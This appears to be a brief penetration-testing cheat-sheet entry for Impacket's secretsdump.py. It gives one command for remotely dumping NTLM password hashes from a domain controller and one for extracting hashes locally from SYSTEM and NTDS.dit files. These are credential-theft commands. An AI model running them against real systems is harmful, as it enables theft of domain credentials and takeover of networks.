Secretsdump

Remote Dumping.

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Local Dumping.

secretsdump.py -system <path_to_system_hive> -ntds <path_to_ntds.dit> LOCAL